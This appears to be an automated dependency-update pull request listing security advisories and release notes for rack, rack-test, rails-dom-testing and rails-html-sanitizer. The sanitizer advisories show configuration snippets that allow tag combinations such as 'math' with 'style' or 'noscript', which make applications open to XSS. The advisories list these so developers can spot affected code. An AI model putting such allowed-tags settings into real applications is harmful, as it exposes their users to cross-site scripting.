To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
2-0-Forbid-control-characters-in-attributes.patch - Patch for 2.0 series
2-1-Forbid-control-characters-in-attributes.patch - Patch for 2.1 series
2-2-Forbid-control-characters-in-attributes.patch - Patch for 2.2 series
3-0-Forbid-control-characters-in-attributes.patch - Patch for 3.0 series

🚨 Possible shell escape sequence injection vulnerability in Rack

There is a possible shell escape sequence injection vulnerability in the Lint
and CommonLogger components of Rack. This vulnerability has been assigned the
CVE identifier CVE-2022-30123.

Versions Affected: All.
Not affected: None
Fixed Versions: 2.0.9.1, 2.1.4.1, 2.2.3.1

Impact

Carefully crafted requests can cause shell escape sequences to be written to
the terminal via Rack's Lint middleware and CommonLogger middleware. These
escape sequences can be leveraged to possibly execute commands in the victim's
terminal.

Impacted applications will have either of these middleware installed, and
vulnerable apps may have something like this:
use Rack::Lint
Or
use Rack::CommonLogger
All users running an affected release should either upgrade or use one of the
workarounds immediately.

Workarounds

Remove these middleware from your application

🚨 Denial of Service Vulnerability in Rack Multipart Parsing

There is a possible denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-30122.

Versions Affected: >= 1.2
Not affected: < 1.2
Fixed Versions: 2.0.9.1, 2.1.4.1, 2.2.3.1

Impact

Carefully crafted multipart POST requests can cause Rack's multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.

Impacted code will use Rack's multipart parser to parse multipart posts. This includes directly using the multipart parser like this:
params = Rack::Multipart.parse_multipart(env)
But it also includes reading POST data from a Rack request object like this:
p request.POST # read POST data
p request.params # reads both query params and POST data
All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

There are no feasible workarounds for this issue.

🚨 Rack allows Percent-encoded cookies to overwrite existing prefixed cookie names

A reliance on cookies without validation/integrity check security vulnerability exists in rack < 2.2.3, rack < 2.1.4 that makes it possible for an attacker to forge a secure or host-only cookie prefix.

Release Notes

2.2.16 (from changelog)

Fix incorrect backport of optional CGI::Cookie support. (#2335, @jeremyevans)

2.2.15 (from changelog)

Optional support for CGI::Cookie if not available. (#2327, #2333, @earlopain)

2.2.14 (from changelog)

Security

CVE-2025-46727 Unbounded parameter parsing in Rack::QueryParser can lead to memory exhaustion.

2.2.13 (from changelog)

Security

CVE-2025-27610 Local file inclusion in Rack::Static.

2.2.12 (from changelog)

Security

CVE-2025-27111 Possible Log Injection in Rack::Sendfile.

2.2.10 (from changelog)

Fix compatibility issues with Ruby v3.4.0. (#2248, @byroot)

2.2.8.1

What's Changed

Fixed ReDoS in Accept header parsing [CVE-2024-26146]

Fixed ReDoS in Content Type header parsing [CVE-2024-25126]

Reject Range headers which are too large [CVE-2024-26141]

Full Changelog: v2.2.8...v2.2.8.1

2.2.7

What's Changed

Correct the year number in the changelog by @kimulab in #2015

Support underscore in host names for Rack 2.2 (Fixes #2070) by @jeremyevans in #2071

New Contributors

@kimulab made their first contribution in #2015

Full Changelog: v2.2.6.4...v2.2.7

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rack-test (indirect, 1.1.0 → 2.2.0) · Repo · Changelog

Release Notes

2.2.0 (from changelog)

Bug fixes:

Rack::Test::Cookie now parses cookie parameters using a case-insensitive approach (Guillaume Malette #349)

Minor enhancements:

Arrays of cookies containing a blank cookie are now handled correctly when processing responses. (Martin Emde #343)

Rack::Test::UploadedFile no longer uses a finalizer for named paths to close and unlink the created Tempfile. Tempfile itself uses a finalizer to close and unlink itself, so there is no reason for Rack::Test::UploadedFile to do so (Jeremy Evans #338)

2.1.0 (from changelog)

Breaking changes:

Digest authentication support, deprecated in 2.0.0, has been removed (Jeremy Evans #307)

requiring rack/mock_session, deprecated in 2.0.0, has been removed (Jeremy Evans #307)

Minor enhancements:

The original_filename for Rack::Test::UploadedFile can now be set even if the content of the file comes from a file path (Stuart Chinery #314)

Add Rack::Test::Session#restore_state, for executing a block and restoring current state (last request, last response, and cookies) after the block (Jeremy Evans #316)

Make Rack::Test::Methods support default_host method similar to app, which will set the default host used for requests to the app (Jeremy Evans #317 #318)

Allow responses to set cookie paths not matching the current request URI. Such cookies will only be sent for paths matching the cookie path (Chris Waters #322)

Ignore leading dot for cookie domains, per RFC 6265 (Stephen Crosby #329)

Avoid creating empty multipart body if params is empty in Rack::Test::Session#env_for (Ryunosuke Sato #331)

2.0.2 (from changelog)

Bug fixes:

Fix additional incompatible character encodings error when building uploaded bodies (Jeremy Evans #311)

2.0.1 (from changelog)

Bug fixes:

Fix incompatible character encodings error when building uploaded file bodies (Jeremy Evans #308 #309)

2.0.0 (from changelog)

Breaking changes:

Digest authentication support is now deprecated, as it relies on digest authentication support in rack, which has been deprecated (Jeremy Evans #294)

Rack::Test::Utils.build_primitive_part no longer handles array values (Jeremy Evans #292)

Rack::Test::Utils module methods other than build_nested_query and build_multipart are now private methods (Jeremy Evans #297)

Rack::MockSession has been combined into Rack::Test::Session, and remains as an alias to Rack::Test::Session, but to keep some backwards compatibility, Rack::Test::Session.new will accept a Rack::Test::Session instance and return it (Jeremy Evans #297)

Previously protected methods in Rack::Test::Cookie{,Jar} are now private methods (Jeremy Evans #297)

Rack::Test::Methods no longer defines build_rack_mock_session, but for backwards compatibility, build_rack_test_session will call build_rack_mock_session if it is defined (Jeremy Evans #297)

Rack::Test::Methods::METHODS is no longer defined (Jeremy Evans #297)

Rack::Test::Methods#_current_session_names has been removed (Jeremy Evans #297)

Headers used/accessed by rack-test are now lower case, for rack 3 compliance (Jeremy Evans #295)

Frozen literal strings are now used internally, which may break code that mutates static strings returned by rack-test, if any (Jeremy Evans #304)

Minor enhancements:

rack-test now works with the rack main branch (what will be rack 3) (Jeremy Evans #280 #292)

rack-test only loads the parts of rack it uses when running on the rack main branch (what will be rack 3) (Jeremy Evans #292)

Development dependencies have been significantly reduced, and are now a subset of the development dependencies of rack itself (Jeremy Evans #292)

Avoid creating multiple large copies of uploaded file data in memory (Jeremy Evans #286)

Specify HTTP/1.0 when submitting requests, to avoid responses with Transfer-Encoding: chunked (Jeremy Evans #288)

Support :query_params in rack environment for parameters that are appended to the query string instead of used in the request body (Jeremy Evans #150 #287)

Reduce required ruby version to 2.0, since tests run fine on Ruby 2.0 (Jeremy Evans #292)

Support :multipart env key for request methods to force multipart input (Jeremy Evans #303)

Force multipart input for request methods if content type starts with multipart (Jeremy Evans #303)

Improve performance of Utils.build_multipart by using an append-only design (Jeremy Evans #304)

Improve performance of Utils.build_nested_query for array values (Jeremy Evans #304)

Bug fixes:

The CONTENT_TYPE of multipart requests is now respected, if it starts with multipart/ (Tom Knig #238)

Work correctly with responses that respond to to_a but not to_ary (Sergio Faria #276)

Raise an ArgumentError instead of a TypeError when providing a StringIO without an original filename when creating an UploadedFile (Nuno Correia #279)

Allow combining both an UploadedFile and a plain string when building a multipart upload (Mitsuhiro Shibuya #278)

Fix the generation of filenames with spaces to use path escaping instead of regular escaping, since path unescaping is used to decode it (Muir Manders, Jeremy Evans #275 #284)

Rewind tempfile used for multipart uploads before it is submitted to the application (Jeremy Evans, Alexander Dervish #261 #268 #286)

Fix Rack::Test.encoding_aware_strings to be true only on rack 1.6+ (Jeremy Evans #292)

Make Rack::Test::CookieJar#valid? return true/false (Jeremy Evans #292)

Cookies without a domain attribute no longer are submitted to requests for subdomains of that domain, for RFC 6265 compliance (Jeremy Evans #292)

Increase required rack version to 1.3, since tests fail on rack 1.2 and below (Jeremy Evans #293)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rails-dom-testing (indirect, 2.0.3 → 2.3.0) · Repo · Changelog

Release Notes

2.3.0

What's Changed

Add assert_not_dom, refute_dom, assert_not_select, refute_select & refute_dom_equal by @joshuay03 in #113

Raise an error when given a block with a 0 element assertion by @joshuay03 in #116

Raise an error when provided an invalid Range, or invalid :minimum and :maximum by @joshuay03 in #115

assert_dom :text collapses whitespace by @jyeharry in #123

New Contributors

@joshuay03 made their first contribution in #113

@m-nakamura145 made their first contribution in #118

@jyeharry made their first contribution in #122

Full Changelog: v2.2.0...v2.3.0

2.2.0

What's Changed

Allow user to choose the HTML parser used by @flavorjones in #109

Fix string substitution regression by @nicoco007 in #110

New Contributors

@nicoco007 made their first contribution in #110

Full Changelog: v2.1.1...v2.2.0

2.1.1

What's Changed

Fix issue when application isn't using minitest.

Full Changelog: v2.1.0...v2.1.1

2.1.0

What's Changed

Address warning: mismatched indentations at 'when' with 'case' by @yahonda in #74

Make assert_dom_equal ignore insignificant whitespace when walking the node tree by @jduff in #84

Expand Substitution Matching Types support by @seanpdoyle in #90

Alias assert_select methods to assert_dom versions by @seanpdoyle in #93

Raise an error if the last arg is the wrong format by @ghiculescu in #96

Fix replacement for multiple substitutions by @speckins in #76

Better error message if response.body is blank or not parseable by Nokogiri by @ghiculescu in #97

selector_assertions/html_selector: No trailing . on content_mismatch by @issyl0 in #102

Use Minitest::Assertion#diff for content failure messages by @flavorjones in #106

New Contributors

@nicolasleger made their first contribution in #73

@yahonda made their first contribution in #74

@dependabot made their first contribution in #79

@jduff made their first contribution in #86

@amatsuda made their first contribution in #88

@seanpdoyle made their first contribution in #90

@ghiculescu made their first contribution in #96

@jbampton made their first contribution in #95

@speckins made their first contribution in #76

@issyl0 made their first contribution in #102

@flavorjones made their first contribution in #103

Full Changelog: v2.0.3...v2.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rails-html-sanitizer (indirect, 1.3.0 → 1.6.2) · Repo · Changelog

Security Advisories 🚨

🚨 rails-html-sanitizer has XSS vulnerability with certain configurations

Summary

There is a possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.

Versions affected: 1.6.0

Not affected: < 1.6.0

Fixed versions: 1.6.1

Impact

A possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer may allow an attacker to inject content if HTML5 sanitization is enabled and the application developer has overridden the sanitizer's allowed tags in the following way:

the "noscript" element is explicitly allowed

Code is only impacted if Rails is configured to use HTML5 sanitization, please see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information on these configuration options.

The default configuration is to disallow all of these elements. Code is only impacted if allowed tags are being overridden. Applications may be doing this in a few different ways:

using application configuration to configure Action View sanitizers' allowed tags:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["noscript"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["noscript"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

setting Rails::HTML5::SafeListSanitizer class attribute allowed_tags:
# class-level option
Rails::HTML5::SafeListSanitizer.allowed_tags = ["noscript"]
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

using a :tags options to the Rails::HTML5::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["noscript"])
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

setting ActionText::ContentHelper module attribute allowed_tags:
ActionText::ContentHelper.allowed_tags = ["noscript"]
All users overriding the allowed tags by any of the above mechanisms to include "noscript" should either upgrade or use one of the workarounds.

Workarounds

Any one of the following actions will work around this issue:

Remove "noscript" from the overridden allowed tags,

Or, downgrade sanitization to HTML4 (see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information).

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

Original report: https://hackerone.com/reports/2509647

Credit

This vulnerability was responsibly reported by So Sakaguchi (mokusou) and taise.

🚨 rails-html-sanitize has XSS vulnerability with certain configurations

Summary

There is a possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0 and Nokogiri < 1.15.7, or 1.16.x < 1.16.8.

Versions affected: 1.6.0

Not affected: < 1.6.0

Fixed versions: 1.6.1

Please note that the fix in v1.6.1 is to update the dependency on Nokogiri to 1.15.7 or >= 1.16.8.

Impact

A possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer may allow an attacker to inject content if HTML5 sanitization is enabled and the application developer has overridden the sanitizer's allowed tags in either of the following ways:

allow both "math" and "style" elements

or allow both "svg" and "style" elements

Code is only impacted if Rails is configured to use HTML5 sanitization, please see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information on these configuration options.

Code is only impacted if allowed tags are being overridden. Applications may be doing this in a few different ways:

using application configuration to configure Action View sanitizers' allowed tags:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["math", "style"]
# or
config.action_view.sanitized_allowed_tags = ["svg", "style"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["math", "style"] %>
<%# or %>
<%= sanitize @comment.body, tags: ["svg", "style"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

setting Rails::HTML5::SafeListSanitizer class attribute allowed_tags:
# class-level option
Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "style"]
# or
Rails::HTML5::SafeListSanitizer.allowed_tags = ["svg", "style"]
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

using a :tags options to the Rails::HTML5::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
# or
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"])
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

setting ActionText::ContentHelper module attribute allowed_tags:
ActionText::ContentHelper.allowed_tags = ["math", "style"]
# or
ActionText::ContentHelper.allowed_tags = ["svg", "style"]
All users overriding the allowed tags by any of the above mechanisms to include (("math" or "svg") and "style") should either upgrade or use one of the workarounds.

Workarounds

Any one of the following actions will work around this issue:

Remove "style" from the overridden allowed tags,

Or, remove "math" and "svg" from the overridden allowed tags,

Or, downgrade sanitization to HTML4 (see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information)

Or, independently upgrade Nokogiri to v1.15.7 or >= 1.16.8.

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

Original report: https://hackerone.com/reports/2503220

Credit

This vulnerability was responsibly reported by So Sakaguchi (mokusou) and taise.

🚨 rails-html-sanitizer has XSS vulnerability with certain configurations

Summary

There is a possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.

Versions affected: 1.6.0

Not affected: < 1.6.0

Fixed versions: 1.6.1

Impact

A possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer may allow an attacker to inject content if HTML5 sanitization is enabled and the application developer has overridden the sanitizer's allowed tags in the following way:

the "math" and "style" elements are both explicitly allowed

Code is only impacted if Rails is configured to use HTML5 sanitization, please see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information on these configuration options.

The default configuration is to disallow these elements. Code is only impacted if allowed tags are being overridden. Applications may be doing this in a few different ways:

using application configuration to configure Action View sanitizers' allowed tags:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["math", "style"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["math", "style"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

setting Rails::HTML5::SafeListSanitizer class attribute allowed_tags:
# class-level option
Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "style"]
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

using a :tags options to the Rails::HTML5::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

setting ActionText::ContentHelper module attribute allowed_tags:
ActionText::ContentHelper.allowed_tags = ["math", "style"]
All users overriding the allowed tags by any of the above mechanisms to include both "math" and "style" should either upgrade or use one of the workarounds.

Workarounds

Any one of the following actions will work around this issue:

Remove "math" or "style" from the overridden allowed tags,

Or, downgrade sanitization to HTML4 (see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information).

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

Original report: https://hackerone.com/reports/2519941

Credit

This vulnerability was responsibly reported by So Sakaguchi (mokusou) and taise.

🚨 rails-html-sanitizer has XSS vulnerability with certain configurations

Summary

There is a possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.

Versions affected: 1.6.0

Not affected: < 1.6.0

Fixed versions: 1.6.1

Impact

A possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer may allow an attacker to inject content if HTML5 sanitization is enabled and the application developer has overridden the sanitizer's allowed tags in the following way:

the "math", "mtext", "table", and "style" elements are allowed

and either "mglyph" or "malignmark" are allowed

Code is only impacted if Rails is configured to use HTML5 sanitization, please see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information on these configuration options.

The default configuration is to disallow all of these elements except for "table". Code is only impacted if allowed tags are being overridden. Applications may be doing this in a few different ways:

using application configuration to configure Action View sanitizers' allowed tags:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
# or
config.action_view.sanitized_allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["math", "mtext", "table", "style", "mglyph"] %>
<%# or %>
<%= sanitize @comment.body, tags: ["math", "mtext", "table", "style", "malignmark"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

setting Rails::HTML5::SafeListSanitizer class attribute allowed_tags:
# class-level option
Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
# or
Rails::HTML5::SafeListSanitizer.allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

using a :tags options to the Rails::HTML5::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "mtext", "table", "style", "mglyph"])
# or
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "mtext", "table", "style", "malignmark"])
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

setting ActionText::ContentHelper module attribute allowed_tags:
ActionText::ContentHelper.allowed_tags = ["math", "mtext", "table", "style", "mglyph"]
# or
ActionText::ContentHelper.allowed_tags = ["math", "mtext", "table", "style", "malignmark"]
All users overriding the allowed tags by any of the above mechanisms to include ("math" and "mtext" and "table" and "style" and ("mglyph" or "malignmark")) should either upgrade or use one of the workarounds.

Workarounds

Any one of the following actions will work around this issue:

Remove "mglyph" and "malignmark" from the overridden allowed tags,

Or, downgrade sanitization to HTML4 (see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information).

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

Original report: https://hackerone.com/reports/2519936

Credit

This vulnerability was responsibly reported by So Sakaguchi (mokusou) and taise.

🚨 rails-html-sanitizer has XSS vulnerability with certain configurations

Summary

There is a possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer 1.6.0 when used with Rails >= 7.1.0.

Versions affected: 1.6.0

Not affected: < 1.6.0

Fixed versions: 1.6.1

Impact

A possible XSS vulnerability with certain configurations of Rails::HTML::Sanitizer may allow an attacker to inject content if HTML5 sanitization is enabled and the application developer has overridden the sanitizer's allowed tags in the following way:

the "style" element is explicitly allowed

the "svg" or "math" element is not allowed

Code is only impacted if Rails is configured to use HTML5 sanitization, please see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information on these configuration options.

The default configuration is to disallow all of these elements. Code is only impacted if allowed tags are being overridden. Applications may be doing this in a few different ways:

using application configuration to configure Action View sanitizers' allowed tags:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["style"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["style"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

setting Rails::HTML5::SafeListSanitizer class attribute allowed_tags:
# class-level option
Rails::HTML5::SafeListSanitizer.allowed_tags = ["style"]
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

using a :tags options to the Rails::HTML5::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::HTML5::SafeListSanitizer.new.sanitize(@article.body, tags: ["style"])
(note that this class may also be referenced as Rails::Html::SafeListSanitizer)

setting ActionText::ContentHelper module attribute allowed_tags:
ActionText::ContentHelper.allowed_tags = ["style"]
All users overriding the allowed tags by any of the above mechanisms to include "style" and omit "svg" or "math" should either upgrade or use one of the workarounds.

Workarounds

Any one of the following actions will work around this issue:

Remove "style" from the overridden allowed tags,

Or, downgrade sanitization to HTML4 (see documentation for config.action_view.sanitizer_vendor and config.action_text.sanitizer_vendor for more information).

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

Original report: https://hackerone.com/reports/2519936

Credit

This vulnerability was responsibly reported by So Sakaguchi (mokusou) and taise.

🚨 Inefficient Regular Expression Complexity in rails-html-sanitizer

Summary

Certain configurations of rails-html-sanitizer < 1.4.4 use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to rails-html-sanitizer >= 1.4.4.

Severity

The maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)

https://hackerone.com/reports/1684163

Credit

This vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).

🚨 Improper neutralization of data URIs may allow XSS in rails-html-sanitizer

Summary

rails-html-sanitizer >= 1.0.3, < 1.4.4 is vulnerable to cross-site scripting via data URIs when used in combination with Loofah >= 2.1.0.

Mitigation

Upgrade to rails-html-sanitizer >= 1.4.4.

Severity

The maintainers have evaluated this as Medium Severity 6.1.

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

SVG MIME Type (image/svg+xml) is misleading to developers · Issue #266 · w3c/svgwg

#135

https://hackerone.com/reports/1694173

Credit

This vulnerability was independently reported by Maciej Piechota (@haqpl) and Mrinmoy Das (@goromlagche).

🚨 Possible XSS vulnerability with certain configurations of rails-html-sanitizer

Summary

There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.

Versions affected: ALL

Not affected: NONE

Fixed versions: 1.4.4

Impact

A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags in either of the following ways:

allow both "math" and "style" elements,

or allow both "svg" and "style" elements

Code is only impacted if allowed tags are being overridden. Applications may be doing this in four different ways:

using application configuration:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["math", "style"]
# or
config.action_view.sanitized_allowed_tags = ["svg", "style"]
see https://guides.rubyonrails.org/configuring.html#configuring-action-view

using a :tags option to the Action View helper sanitize:
<%= sanitize @comment.body, tags: ["math", "style"] %>
<%# or %>
<%= sanitize @comment.body, tags: ["svg", "style"] %>
see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

using Rails::Html::SafeListSanitizer class method allowed_tags=:
# class-level option
Rails::Html::SafeListSanitizer.allowed_tags = ["math", "style"]
# or
Rails::Html::SafeListSanitizer.allowed_tags = ["svg", "style"]
using a :tags options to the Rails::Html::SafeListSanitizer instance method sanitize:
# instance-level option
Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["math", "style"])
# or
Rails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["svg", "style"])
All users overriding the allowed tags by any of the above mechanisms to include (("math" or "svg") and "style") should either upgrade or use one of the workarounds immediately.

Workarounds

Remove "style" from the overridden allowed tags, or remove "math" and "svg" from the overridden allowed tags.

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

https://hackerone.com/reports/1656627

Credit

This vulnerability was responsibly reported by Dominic Breuker.

🚨 Possible XSS vulnerability with certain configurations of rails-html-sanitizer

Summary

There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer. This is due to an incomplete fix of CVE-2022-32209.

Versions affected: ALL

Not affected: NONE

Fixed versions: 1.4.4

Impact

A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags to allow both "select" and "style" elements.

Code is only impacted if allowed tags are being overridden using either of the following two mechanisms:

Using the Rails configuration config.action_view.sanitized_allow_tags=:
# In config/application.rb
config.action_view.sanitized_allowed_tags = ["select", "style"]
(see https://guides.rubyonrails.org/configuring.html#configuring-action-view)

Using the class method Rails::Html::SafeListSanitizer.allowed_tags=:
# class-level option
Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"]
All users overriding the allowed tags by either of the above mechanisms to include both "select" and "style" should either upgrade or use one of the workarounds immediately.

NOTE: Code is not impacted if allowed tags are overridden using either of the following mechanisms:

the :tags option to the Action View helper method sanitize.

the :tags option to the instance method SafeListSanitizer#sanitize.

Workarounds

Remove either "select" or "style" from the overridden allowed tags.

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32209

https://hackerone.com/reports/1654310

Credit

This vulnerability was responsibly reported by Dominic Breuker.

🚨 Rails::Html::Sanitizer vulnerable to Cross-site Scripting

Versions of Rails::Html::Sanitizer prior to version 1.4.3 are vulnerable to XSS with certain configurations of Rails::Html::Sanitizer which allows an attacker to inject content when the application developer has overridden the sanitizer's allowed tags to allow both select and style elements. Code is only impacted if allowed tags are being overridden.

This may be done via application configuration: ruby# In config/application.rbconfig.action_view.sanitized_allowed_tags = ["select", "style"]

see https://guides.rubyonrails.org/configuring.html#configuring-action-view

Or it may be done with a :tags option to the Action View helper sanitize: <%= sanitize @comment.body, tags: ["select", "style"] %>

see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize

It may also be done with Rails::Html::SafeListSanitizer directly:
ruby# class-level optionRails::Html::SafeListSanitizer.allowed_tags = ["select", "style"] or with
ruby# instance-level optionRails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: ["select", "style"])

All users overriding the allowed tags by any of the above mechanisms to include both "select" and "style" are recommended to upgrade immediately. A workaround for this issue can be applied by removing either select or style from the overridden allowed tags.

Release Notes

1.6.2

v1.6.2 / 2024-12-12

PermitScrubber fully supports frozen "allowed tags".

v1.6.1 introduced safety checks that may remove unsafe tags from the allowed list, which
introduced a regression for applications passing a frozen array of allowed tags. Tags and
attributes are now properly copied when they are passed to the scrubber.

Fixes #195.

Mike Dalessio

1.6.1

1.6.1 / 2024-12-02

This is a performance and security release which addresses several possible XSS vulnerabilities.

The dependency on Nokogiri is updated to v1.15.7 or >=1.16.8.

This change addresses CVE-2024-53985 (GHSA-w8gc-x259-rc7x).

Mike Dalessio

Disallowed tags will be pruned when they appear in foreign content (i.e. SVG or MathML content),
regardless of the prune: option value. Previously, disallowed tags were "stripped" unless the
gem was configured with the prune: true option.

The CVEs addressed by this change are:

CVE-2024-53986 (GHSA-638j-pmjw-jq48)

CVE-2024-53987 (GHSA-2x5m-9ch4-qgrr)

Mike Dalessio

The tags "noscript", "mglyph", and "malignmark" will not be allowed, even if explicitly added to
the allowlist. If applications try to allow any of these tags, a warning is emitted and the tags
are removed from the allow-list.

The CVEs addressed by this change are:

CVE-2024-53988 (GHSA-cfjx-w229-hgx5)

CVE-2024-53989 (GHSA-rxv5-gxqc-xx8g)

Please note that we may restore support for allowing "noscript" in a future release. We do not
expect to ever allow "mglyph" or "malignmark", though, especially since browser support is minimal
for these tags.

Mike Dalessio

Improve performance by eliminating needless operations on attributes that are being removed. #188

Mike Dalessio

1.6.0

1.6.0 / 2023-05-26

Dependencies have been updated:

Loofah ~>2.21 and Nokogiri ~>1.14 for HTML5 parser support

As a result, required Ruby version is now >= 2.7.0

Security updates will continue to be made on the 1.5.x release branch as long as Rails 6.1
(which supports Ruby 2.5) is still in security support.

Mike Dalessio

HTML5 standards-compliant sanitizers are now available on platforms supported by
Nokogiri::HTML5. These are available as:

Rails::HTML5::FullSanitizer

Rails::HTML5::LinkSanitizer

Rails::HTML5::SafeListSanitizer

And a new "vendor" is provided at Rails::HTML5::Sanitizer that can be used in a future version
of Rails.

Note that for symmetry Rails::HTML4::Sanitizer is also added, though its behavior is identical
to the vendor class methods on Rails::HTML::Sanitizer.

Users may call Rails::HTML::Sanitizer.best_supported_vendor to get back the HTML5 vendor if it's
supported, else the legacy HTML4 vendor.

Mike Dalessio

Module namespaces have changed, but backwards compatibility is provided by aliases.

The library defines three additional modules:

Rails::HTML for general functionality (replacing Rails::Html)

Rails::HTML4 containing sanitizers that parse content as HTML4

Rails::HTML5 containing sanitizers that parse content as HTML5

The following aliases are maintained for backwards compatibility:

Rails::Html points to Rails::HTML

Rails::HTML::FullSanitizer points to Rails::HTML4::FullSanitizer

Rails::HTML::LinkSanitizer points to Rails::HTML4::LinkSanitizer

Rails::HTML::SafeListSanitizer points to Rails::HTML4::SafeListSanitizer
